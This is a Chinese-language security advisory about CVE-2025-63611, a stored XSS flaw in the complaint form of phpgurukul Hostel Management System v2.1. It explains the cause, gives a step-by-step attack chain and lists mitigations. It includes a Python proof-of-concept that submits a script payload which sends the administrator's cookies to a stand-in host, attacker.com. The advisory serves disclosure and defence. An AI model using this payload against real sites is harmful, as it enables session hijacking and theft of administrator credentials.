IPBUF安全漏洞报告
English
CVE-2025-63611 CVSS 8.7 高危

CVE-2025-63611 phpgurukul Hostel Management System v2.1 存储型XSS漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-63611
漏洞类型
存储型XSS
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
phpgurukul Hostel Management System v2.1

相关标签

存储型XSSCross-Site ScriptingHostel Management SystemphpgurukulCVE-2025-63611Web应用漏洞高危漏洞会话劫持

漏洞概述

CVE-2025-63611是phpgurukul公司开发的Hostel Management System v2.1版本中存在的一个高危存储型跨站脚本(Stored XSS)漏洞。该系统是一款用于管理宿舍信息的管理系统,广泛应用于学校、企业等机构的宿舍管理场景。漏洞存在于用户提交投诉的功能模块中,具体位于register-complaint.php页面的投诉描述字段(Explain the Complaint)。攻击者可以通过该字段注入恶意的HTML或JavaScript代码,这些恶意代码会被永久存储在系统数据库中。当具有管理员权限的用户访问admin/complaint-details.php页面查看投诉详情时,存储的恶意脚本会在管理员的浏览器上下文中执行。由于管理员通常具有较高的系统权限,攻击成功后将可能导致会话劫持、敏感信息窃取、恶意操作执行等严重后果。攻击者利用低权限用户账号即可实施攻击,但需要诱导管理员查看恶意投诉内容,存在一定的用户交互要求。该漏洞的CVSS评分达到8.7分,属于高危级别漏洞,对系统安全性构成严重威胁。

技术细节

该漏洞的根本原因在于系统对用户输入的投诉内容缺乏充分的输入验证和输出编码。攻击者构造恶意Payload时,可利用<script>标签、事件处理器(如onerror、onload)或JavaScript伪协议等方式注入任意JavaScript代码。当普通用户在register-complaint.php页面提交投诉时,恶意代码被直接存入数据库。系统管理员登录后台后访问admin/complaint-details.php?cid=<id>页面查看投诉详情时,后端程序从数据库读取投诉内容并直接输出到HTML页面,未对特殊字符进行转义处理。浏览器解析HTML时将执行注入的JavaScript代码,实现攻击目的。攻击者可窃取管理员的Cookie/Session信息,进而冒充管理员身份进行更高权限的操作,如修改系统配置、添加删除用户、访问敏感数据等。防御措施包括:在数据入库前进行输入验证,白名单限制允许的HTML标签;在数据输出时进行HTML实体编码转义;对用户提交内容使用Content-Security-Policy进行脚本执行限制。

攻击链分析

STEP 1
步骤1
攻击者注册低权限用户账号或使用已有账号登录系统
STEP 2
步骤2
访问/register-complaint.php投诉提交页面
STEP 3
步骤3
在投诉描述字段(Explain the Complaint)中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
提交投诉请求,恶意代码被存储到数据库中
STEP 5
步骤5
诱导管理员访问后台投诉管理页面admin/complaint-details.php?cid=<id>
STEP 6
步骤6
管理员浏览器加载投诉详情页面时,未转义的恶意脚本被执行
STEP 7
步骤7
攻击者成功窃取管理员Cookie/Session或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-63611 PoC - Stored XSS in Hostel Management System # Target: /register-complaint.php # Trigger: /admin/complaint-details.php?cid=<id> def exploit_xss(target_url, attacker_payload): """ Exploit stored XSS vulnerability in Hostel Management System """ # Step 1: Register complaint with malicious payload register_url = target_url.rstrip('/') + '/register-complaint.php' data = { 'name': 'Attacker', 'email': '[email protected]', 'phone': '1234567890', 'complaint': attacker_payload, # XSS payload here 'description': '<script>alert(document.cookie)</script>' } try: response = requests.post(register_url, data=data, timeout=10) print(f'[+] Complaint submitted to: {register_url}') print(f'[+] Payload: {attacker_payload}') # Step 2: Extract complaint ID from response # In real attack, attacker would need to identify the complaint ID # Then trigger admin to visit: /admin/complaint-details.php?cid=<id> return True except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-63611.py <target_url>') sys.exit(1) target = sys.argv[1] xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' exploit_xss(target, xss_payload)

影响范围

Hostel Management System v2.1

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)对投诉表单输入内容进行严格的输入过滤,禁用所有HTML标签和JavaScript相关关键字;2)在输出投诉内容时强制进行HTML转义处理;3)配置Web应用防火墙(WAF)规则检测和拦截XSS攻击特征;4)限制低权限用户提交投诉的功能或增加人工审核环节;5)提醒管理员不要点击来源不明的投诉链接;6)定期检查数据库中是否存在恶意脚本内容并及时清理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表